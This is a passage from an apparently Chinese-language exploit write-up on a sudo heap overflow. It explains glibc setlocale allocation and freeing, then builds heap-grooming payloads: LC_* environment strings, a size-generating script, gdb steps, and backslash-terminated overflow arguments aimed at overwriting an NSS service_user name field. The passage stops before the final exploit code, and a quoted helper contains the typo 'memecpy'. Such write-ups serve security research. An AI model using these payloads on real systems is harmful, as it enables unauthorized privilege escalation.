style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-meta">#ifdef NL_CURRENT_INDIRECT</span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-tab"> &nbsp; &nbsp;</span><span class="cm-tab"> &nbsp; &nbsp;</span><span class="cm-keyword">if</span> (<span class="cm-variable">newnames</span>[<span class="cm-variable">category</span>] <span class="cm-operator">==</span> <span class="cm-variable">_nl_C_name</span>)</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-tab"> &nbsp; &nbsp;</span><span class="cm-tab"> &nbsp; &nbsp;</span> &nbsp;<span class="cm-comment">/* Null because it&#39;s the weak value of _nl_C_LC_FOO. &nbsp;*/</span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-tab"> &nbsp; &nbsp;</span><span class="cm-tab"> &nbsp; &nbsp;</span> &nbsp;<span class="cm-keyword">continue</span>;</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-meta">#endif</span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-tab"> &nbsp; &nbsp;</span><span class="cm-tab"> &nbsp; &nbsp;</span><span class="cm-keyword">break</span>;</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-tab"> &nbsp; &nbsp;</span> &nbsp; &nbsp; &nbsp;}</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span style="padding: 0px;margin: 0px"></span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-tab"> &nbsp; &nbsp;</span> &nbsp; &nbsp;<span class="cm-comment">/* We must not simply free a global locale since we have</span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-tab"> &nbsp; &nbsp;</span> &nbsp; &nbsp; &nbsp; <span class="cm-comment">no control over the usage. &nbsp;So we mark it as</span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-tab"> &nbsp; &nbsp;</span> &nbsp; &nbsp; &nbsp; <span class="cm-comment">un-deletable. &nbsp;And yes, the &#39;if&#39; is needed, the data</span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-tab"> &nbsp; &nbsp;</span> &nbsp; &nbsp; &nbsp; <span class="cm-comment">might be in read-only memory. &nbsp;*/</span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-tab"> &nbsp; &nbsp;</span> &nbsp; &nbsp;<span class="cm-keyword">if</span> (<span class="cm-variable">newdata</span>[<span class="cm-variable">category</span>]<span class="cm-operator">-&gt;</span><span class="cm-variable">usage_count</span> <span class="cm-operator">!=</span> <span class="cm-variable">UNDELETABLE</span>)</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-tab"> &nbsp; &nbsp;</span> &nbsp; &nbsp; &nbsp;<span class="cm-variable">newdata</span>[<span class="cm-variable">category</span>]<span class="cm-operator">-&gt;</span><span class="cm-variable">usage_count</span> <span class="cm-operator">=</span> <span class="cm-variable">UNDELETABLE</span>;</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span style="padding: 0px;margin: 0px"></span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-tab"> &nbsp; &nbsp;</span> &nbsp; &nbsp;<span class="cm-comment">/* Make a copy of locale name. &nbsp;*/</span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-tab"> &nbsp; &nbsp;</span> &nbsp; &nbsp;<span class="cm-keyword">if</span> (<span class="cm-variable">newnames</span>[<span class="cm-variable">category</span>] <span class="cm-operator">!=</span> <span class="cm-variable">_nl_C_name</span>)</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-tab"> &nbsp; &nbsp;</span> &nbsp; &nbsp; &nbsp;{</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-tab"> &nbsp; &nbsp;</span><span class="cm-tab"> &nbsp; &nbsp;</span><span class="cm-keyword">if</span> (<span class="cm-variable">strcmp</span> (<span class="cm-variable">newnames</span>[<span class="cm-variable">category</span>],</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-tab"> &nbsp; &nbsp;</span><span class="cm-tab"> &nbsp; &nbsp;</span><span class="cm-tab"> &nbsp; &nbsp;</span> &nbsp; &nbsp;<span class="cm-variable">_nl_global_locale</span>.<span class="cm-variable">__names</span>[<span class="cm-variable">category</span>]) <span class="cm-operator">==</span> <span class="cm-number">0</span>)</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-tab"> &nbsp; &nbsp;</span><span class="cm-tab"> &nbsp; &nbsp;</span> &nbsp;<span class="cm-variable">newnames</span>[<span class="cm-variable">category</span>] <span class="cm-operator">=</span> <span class="cm-variable">_nl_global_locale</span>.<span class="cm-variable">__names</span>[<span class="cm-variable">category</span>];</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-tab"> &nbsp; &nbsp;</span><span class="cm-tab"> &nbsp; &nbsp;</span><span class="cm-keyword">else</span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-tab"> &nbsp; &nbsp;</span><span class="cm-tab"> &nbsp; &nbsp;</span> &nbsp;{</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-tab"> &nbsp; &nbsp;</span><span class="cm-tab"> &nbsp; &nbsp;</span> &nbsp; &nbsp;<span class="cm-variable">newnames</span>[<span class="cm-variable">category</span>] <span class="cm-operator">=</span> <span class="cm-variable">__strdup</span> (<span class="cm-variable">newnames</span>[<span class="cm-variable">category</span>]);</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-tab"> &nbsp; &nbsp;</span><span class="cm-tab"> &nbsp; &nbsp;</span> &nbsp; &nbsp;<span class="cm-comment">//使用__strdup函数在堆内存中分配空间，并将newdata[category]拷贝进去</span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-tab"> &nbsp; &nbsp;</span><span class="cm-tab"> &nbsp; &nbsp;</span> &nbsp; &nbsp;<span class="cm-keyword">if</span> (<span class="cm-variable">newnames</span>[<span class="cm-variable">category</span>] <span class="cm-operator">==</span> <span class="cm-variable">NULL</span>)</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-tab"> &nbsp; &nbsp;</span><span class="cm-tab"> &nbsp; &nbsp;</span> &nbsp; &nbsp; &nbsp;<span class="cm-keyword">break</span>;</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-tab"> &nbsp; &nbsp;</span><span class="cm-tab"> &nbsp; &nbsp;</span> &nbsp;}</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-tab"> &nbsp; &nbsp;</span> &nbsp; &nbsp; &nbsp;}</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-tab"> &nbsp; &nbsp;</span> &nbsp;}</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span style="padding: 0px;margin: 0px"></span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"> &nbsp; &nbsp; &nbsp;<span class="cm-comment">/* Create new composite name. &nbsp;*/</span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"> &nbsp; &nbsp; &nbsp;<span class="cm-variable">composite</span> <span class="cm-operator">=</span> (<span class="cm-variable">category</span> <span class="cm-operator">&gt;=</span> <span class="cm-number">0</span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-tab"> &nbsp; &nbsp;</span><span class="cm-tab"> &nbsp; &nbsp;</span> &nbsp; <span class="cm-operator">?</span> <span class="cm-variable">NULL</span> : <span class="cm-variable">new_composite_name</span> (<span class="cm-variable">LC_ALL</span>, <span class="cm-variable">newnames</span>));</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"> &nbsp; &nbsp; &nbsp;<span class="cm-keyword">if</span> (<span class="cm-variable">composite</span> <span class="cm-operator">!=</span> <span class="cm-variable">NULL</span>)</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-tab"> &nbsp; &nbsp;</span>{</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-tab"> &nbsp; &nbsp;</span> &nbsp;<span class="cm-comment">/* Now we have loaded all the new data. &nbsp;Put it in place. &nbsp;*/</span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-tab"> &nbsp; &nbsp;</span> &nbsp;<span class="cm-keyword">for</span> (<span class="cm-variable">category</span> <span class="cm-operator">=</span> <span class="cm-number">0</span>; <span class="cm-variable">category</span> <span class="cm-operator">&lt;</span> <span class="cm-variable">__LC_LAST</span>; <span class="cm-operator">++</span><span class="cm-variable">category</span>)</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-tab"> &nbsp; &nbsp;</span> &nbsp; &nbsp;<span class="cm-keyword">if</span> (<span class="cm-variable">category</span> <span class="cm-operator">!=</span> <span class="cm-variable">LC_ALL</span>)</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-tab"> &nbsp; &nbsp;</span> &nbsp; &nbsp; &nbsp;{</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-tab"> &nbsp; &nbsp;</span><span class="cm-tab"> &nbsp; &nbsp;</span><span class="cm-variable">setdata</span> (<span class="cm-variable">category</span>, <span class="cm-variable">newdata</span>[<span class="cm-variable">category</span>]);</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-tab"> &nbsp; &nbsp;</span><span class="cm-tab"> &nbsp; &nbsp;</span><span class="cm-variable">setname</span> (<span class="cm-variable">category</span>, <span class="cm-variable">newnames</span>[<span class="cm-variable">category</span>]);</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-tab"> &nbsp; &nbsp;</span> &nbsp; &nbsp; &nbsp;}</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-tab"> &nbsp; &nbsp;</span> &nbsp;<span class="cm-variable">setname</span> (<span class="cm-variable">LC_ALL</span>, <span class="cm-variable">composite</span>);</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span style="padding: 0px;margin: 0px"></span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-tab"> &nbsp; &nbsp;</span> &nbsp;<span class="cm-comment">/* We successfully loaded a new locale. &nbsp;Let the message catalog</span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-tab"> &nbsp; &nbsp;</span> &nbsp; &nbsp; <span class="cm-comment">functions know about this. &nbsp;*/</span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-tab"> &nbsp; &nbsp;</span> &nbsp;<span class="cm-operator">++</span><span class="cm-variable">_nl_msg_cat_cntr</span>;</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-tab"> &nbsp; &nbsp;</span>}</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"> &nbsp; &nbsp; &nbsp;<span class="cm-keyword">else</span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-tab"> &nbsp; &nbsp;</span><span class="cm-keyword">for</span> (<span class="cm-operator">++</span><span class="cm-variable">category</span>; <span class="cm-variable">category</span> <span class="cm-operator">&lt;</span> <span class="cm-variable">__LC_LAST</span>; <span class="cm-operator">++</span><span class="cm-variable">category</span>)</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-tab"> &nbsp; &nbsp;</span> &nbsp;<span class="cm-keyword">if</span> (<span class="cm-variable">category</span> <span class="cm-operator">!=</span> <span class="cm-variable">LC_ALL</span> <span class="cm-operator">&amp;&amp;</span> <span class="cm-variable">newnames</span>[<span class="cm-variable">category</span>] <span class="cm-operator">!=</span> <span class="cm-variable">_nl_C_name</span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-tab"> &nbsp; &nbsp;</span> &nbsp; &nbsp; &nbsp;<span class="cm-operator">&amp;&amp;</span> <span class="cm-variable">newnames</span>[<span class="cm-variable">category</span>] <span class="cm-operator">!=</span> <span class="cm-variable">_nl_global_locale</span>.<span class="cm-variable">__names</span>[<span class="cm-variable">category</span>])</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-tab"> &nbsp; &nbsp;</span> &nbsp; &nbsp;<span class="cm-variable">free</span> ((<span class="cm-variable-3">char</span> <span class="cm-variable-3">*</span>) <span class="cm-variable">newnames</span>[<span class="cm-variable">category</span>]);</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-tab"> &nbsp; &nbsp;</span> &nbsp; &nbsp;<span class="cm-comment">//这里就是堆块释放的原语了，只要有一个区域设置的值不符合规范，则将之前所有申请的堆块都释放掉</span></span></pre>
<p>先使用__strdup函数在堆内存中分配空间，并将newdata[category]拷贝进去，其中</p>
<pre><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-variable-3">char</span> <span class="cm-variable-3">*</span> <span class="cm-def">__strdup</span>(<span class="cm-keyword">const</span> <span class="cm-variable-3">char</span> <span class="cm-variable-3">*</span><span class="cm-variable">s</span>)</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px">{</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"> &nbsp; <span class="cm-variable-3">size_t</span> &nbsp;<span class="cm-variable">len</span> <span class="cm-operator">=</span> <span class="cm-variable">strlen</span>(<span class="cm-variable">s</span>) <span class="cm-operator">+</span><span class="cm-number">1</span>;</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"> &nbsp; <span class="cm-variable-3">void</span> <span class="cm-variable-3">*</span><span class="cm-variable">new</span> <span class="cm-operator">=</span> <span class="cm-variable">malloc</span>(<span class="cm-variable">len</span>);</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"> &nbsp; <span class="cm-keyword">if</span> (<span class="cm-variable">new</span> <span class="cm-operator">==</span> <span class="cm-variable">NULL</span>)</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"> &nbsp; &nbsp; &nbsp;<span class="cm-keyword">return</span> <span class="cm-variable">NULL</span>;</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"> &nbsp; <span class="cm-keyword">return</span> (<span class="cm-variable-3">char</span> <span class="cm-variable-3">*</span>)<span class="cm-variable">memecpy</span>(<span class="cm-variable">new</span>,<span class="cm-variable">s</span>,<span class="cm-variable">len</span>);</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px">}</span></pre>
<p>然后当遇到不合法的区域的值时，就会将前面申请的堆都free掉。</p>
<p>locale把按照所涉及到的使用习惯的各个方面分成12个大类，这12个大类分别是：</p>
<pre><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-number">1</span><span class="cm-variable">、语言符号及其分类</span>(<span class="cm-variable">LC_CTYPE</span>) </span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span style="padding: 0px;margin: 0px"></span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-number">2</span><span class="cm-variable">、数字</span>(<span class="cm-variable">LC_NUMERIC</span>) </span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span style="padding: 0px;margin: 0px"></span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-number">3</span><span class="cm-variable">、比较和习惯</span>(<span class="cm-variable">LC_COLLATE</span>) </span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span style="padding: 0px;margin: 0px"></span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-number">4</span><span class="cm-variable">、时间显示格式</span>(<span class="cm-variable">LC_TIME</span>) </span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span style="padding: 0px;margin: 0px"></span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-number">5</span><span class="cm-variable">、货币单位</span>(<span class="cm-variable">LC_MONETARY</span>) </span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span style="padding: 0px;margin: 0px"></span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-number">6</span><span class="cm-variable">、信息主要是提示信息</span>,<span class="cm-variable">错误信息</span>,<span class="cm-variable">状态信息</span>,<span class="cm-variable">标题</span>,<span class="cm-variable">标签</span>,<span class="cm-variable">按钮和菜单等</span>(<span class="cm-variable">LC_MESSAGES</span>) </span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span style="padding: 0px;margin: 0px"></span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-number">7</span><span class="cm-variable">、姓名书写方式</span>(<span class="cm-variable">LC_NAME</span>) </span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span style="padding: 0px;margin: 0px"></span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-number">8</span><span class="cm-variable">、地址书写方式</span>(<span class="cm-variable">LC_ADDRESS</span>) </span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span style="padding: 0px;margin: 0px"></span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-number">9</span><span class="cm-variable">、电话号码书写方式</span>(<span class="cm-variable">LC_TELEPHONE</span>) </span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span style="padding: 0px;margin: 0px"></span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-number">10</span><span class="cm-variable">、度量衡表达方式</span> (<span class="cm-variable">LC_MEASUREMENT</span>) </span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span style="padding: 0px;margin: 0px"></span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-number">11</span><span class="cm-variable">、默认纸张尺寸大小</span>(<span class="cm-variable">LC_PAPER</span>) </span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span style="padding: 0px;margin: 0px"></span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-number">12</span><span class="cm-variable">、对locale自身包含信息的概述</span>(<span class="cm-variable">LC_IDENTIFICATION</span>)<span class="cm-variable">。</span></span></pre>
<p>对应</p>
<pre><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-string">&quot;LC_CTYPE&quot;</span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-string">&quot;LC_NUMERIC&quot;</span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-string">&quot;LC_TIME&quot;</span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-string">&quot;LC_COLLATE&quot;</span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-string">&quot;LC_MONETARY&quot;</span>,</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-string">&quot;LC_MESSAGES&quot;</span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-string">&quot;LC_ALL&quot;</span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-string">&quot;LC_PAPER&quot;</span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-string">&quot;LC_NAME&quot;</span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-string">&quot;LC_ADDRESS&quot;</span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-string">&quot;LC_TELEPHONE&quot;</span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-string">&quot;LC_MEASUREMENT&quot;</span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-string">&quot;LC_IDENTIFICATION&quot;</span></span></pre>
<p>其中，处理是从下往上的顺序处理的，所以在传参的时候要注意一下顺序，不然最开始就错误全部释放掉了。</p>
<p>接下里就是想要如何将一个service_user申请到前面我的堆块前面</p>
<p>可以在申请service_user前，先利用堆申请原语和堆释放原语挖好坑。由于知道service_user的chunk大小是0x40，而我们堆溢出的chunk的大小可以自己控制，只要保证大小对应，就可以了。</p>
<p>通过动态调试可以明确__strdup的参数是C.UTF-8@XXXXXX，所以得到的堆块size是参数长度+1，利用下面脚本生成目标size的内容。</p>
<pre><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-variable">length</span> <span class="cm-operator">=</span> <span class="cm-number">0x38</span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-keyword">while</span>(<span class="cm-variable">length</span> <span class="cm-operator">&lt;</span> <span class="cm-number">0x100</span>):</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"> &nbsp; &nbsp;<span class="cm-variable">tail</span> <span class="cm-operator">=</span> <span class="cm-string">&#39;C.UTF-8@&#39;</span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"> &nbsp; &nbsp;<span class="cm-meta"># length = 0x48</span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"> &nbsp; &nbsp;<span class="cm-variable">q</span> <span class="cm-operator">=</span> <span class="cm-string">&quot;a&quot;</span><span class="cm-operator">*</span>(<span class="cm-variable">length</span><span class="cm-operator">-</span><span class="cm-number">2</span>)<span class="cm-operator">+</span><span class="cm-string">&quot;\\&quot;</span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"> &nbsp; &nbsp;<span class="cm-variable">p</span> <span class="cm-operator">=</span> <span class="cm-variable">tail</span><span class="cm-operator">+</span><span class="cm-string">&#39;a&#39;</span><span class="cm-operator">*</span>(<span class="cm-variable">length</span><span class="cm-operator">-</span><span class="cm-number">1</span><span class="cm-operator">-</span><span class="cm-variable">len</span>(<span class="cm-variable">tail</span>))</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"> &nbsp; &nbsp;<span class="cm-variable">print</span>(<span class="cm-variable">hex</span>(<span class="cm-variable">length</span>))</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"> &nbsp; &nbsp;<span class="cm-variable">print</span>(<span class="cm-variable">q</span>)</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"> &nbsp; &nbsp;<span class="cm-variable">print</span>(<span class="cm-variable">p</span>)</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"> &nbsp; &nbsp;<span class="cm-variable">length</span> <span class="cm-operator">+=</span> <span class="cm-number">0x10</span></span></pre>
<p>经过测试，先按照0x40,0x40,0xa0,0x40的顺序设置4个，再设置一个不合法的，可以在中间一些无法避免的堆块操作后得到一个可利用的堆排布。最后设置一个非法的值。</p>
<pre><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-string">&quot;LC_IDENTIFICATION=C.UTF-8@aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa&quot;</span>,</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-string">&quot;LC_MEASUREMENT=C.UTF-8@aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa&quot;</span>,</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-string">&quot;LC_TELEPHONE=C.UTF-8@aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa&quot;</span>,</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-string">&quot;LC_ADDRESS=C.UTF-8@aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa&quot;</span>,</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-string">&quot;LC_NAME=xxxxxxxx&quot;</span></span></pre>
<p>其中0xa0是为堆溢出的堆块留的坑</p>
<pre><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-tab"> &nbsp; &nbsp;</span><span class="cm-comment">/* set user_args */</span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-tab"> &nbsp; &nbsp;</span><span class="cm-keyword">if</span> (<span class="cm-variable">NewArgc</span> <span class="cm-operator">&gt;</span> <span class="cm-number">1</span>) {</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-tab"> &nbsp; &nbsp;</span> &nbsp; &nbsp;<span class="cm-variable-3">char</span> <span class="cm-variable-3">*</span><span class="cm-variable">to</span>, <span class="cm-operator">*</span><span class="cm-variable">from</span>, <span class="cm-operator">**</span><span class="cm-variable">av</span>;</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-tab"> &nbsp; &nbsp;</span> &nbsp; &nbsp;<span class="cm-variable-3">size_t</span> <span class="cm-variable">size</span>, <span class="cm-variable">n</span>;</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span style="padding: 0px;margin: 0px"></span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-tab"> &nbsp; &nbsp;</span> &nbsp; &nbsp;<span class="cm-comment">/* Alloc and build up user_args. */</span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-tab"> &nbsp; &nbsp;</span> &nbsp; &nbsp;<span class="cm-keyword">for</span> (<span class="cm-variable">size</span> <span class="cm-operator">=</span> <span class="cm-number">0</span>, <span class="cm-variable">av</span> <span class="cm-operator">=</span> <span class="cm-variable">NewArgv</span> <span class="cm-operator">+</span> <span class="cm-number">1</span>; <span class="cm-operator">*</span><span class="cm-variable">av</span>; <span class="cm-variable">av</span><span class="cm-operator">++</span>)</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-tab"> &nbsp; &nbsp;</span><span class="cm-tab"> &nbsp; &nbsp;</span><span class="cm-variable">size</span> <span class="cm-operator">+=</span> <span class="cm-variable">strlen</span>(<span class="cm-operator">*</span><span class="cm-variable">av</span>) <span class="cm-operator">+</span> <span class="cm-number">1</span>;</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-tab"> &nbsp; &nbsp;</span> &nbsp; &nbsp;<span class="cm-keyword">if</span> (<span class="cm-variable">size</span> <span class="cm-operator">==</span> <span class="cm-number">0</span> <span class="cm-operator">||</span> (<span class="cm-variable">user_args</span> <span class="cm-operator">=</span> <span class="cm-variable">malloc</span>(<span class="cm-variable">size</span>)) <span class="cm-operator">==</span> <span class="cm-variable">NULL</span>) {</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-tab"> &nbsp; &nbsp;</span><span class="cm-tab"> &nbsp; &nbsp;</span><span class="cm-variable">sudo_warnx</span>(<span class="cm-variable">U_</span>(<span class="cm-string">&quot;%s: %s&quot;</span>), <span class="cm-variable">__func__</span>, <span class="cm-variable">U_</span>(<span class="cm-string">&quot;unable to allocate memory&quot;</span>));</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-tab"> &nbsp; &nbsp;</span><span class="cm-tab"> &nbsp; &nbsp;</span><span class="cm-variable">debug_return_int</span>(<span class="cm-operator">-</span><span class="cm-number">1</span>);</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-tab"> &nbsp; &nbsp;</span> &nbsp; &nbsp;}</span></pre>
<p>在malloc前下断点·</p>
<pre>b&nbsp;sudoers.c:849</pre>
<p>查看bins，可以看到tcachebins中0xa0正好有一个堆块</p>
<p><img alt="Untitled" src="https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202405081447658.png"/></p>
<p>然后在nss_load_library下断点，查看service_user</p>
<pre><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-variable">b</span> <span class="cm-variable">nss_load_library</span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-variable">p</span> <span class="cm-variable">ni</span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span style="padding: 0px;margin: 0px"></span></span></pre>
<p><img alt="Untitled" src="https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202405081447659.png"/></p>
<p>可以看到前面0xa0的堆块在service_user的前面，这样就可以通过溢出覆盖name字段</p>
<p>所以填坑的参数按照前面的分析应该是</p>
<pre><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-string">&quot;a&quot;</span><span class="cm-operator">*</span>(<span class="cm-number">0x98</span><span class="cm-operator">-</span><span class="cm-number">1</span>)<span class="cm-operator">+</span><span class="cm-string">&quot;\\&quot;</span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-string">&quot;aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\\&quot;</span></span></pre>
<p>综合得到如下初步exp</p>
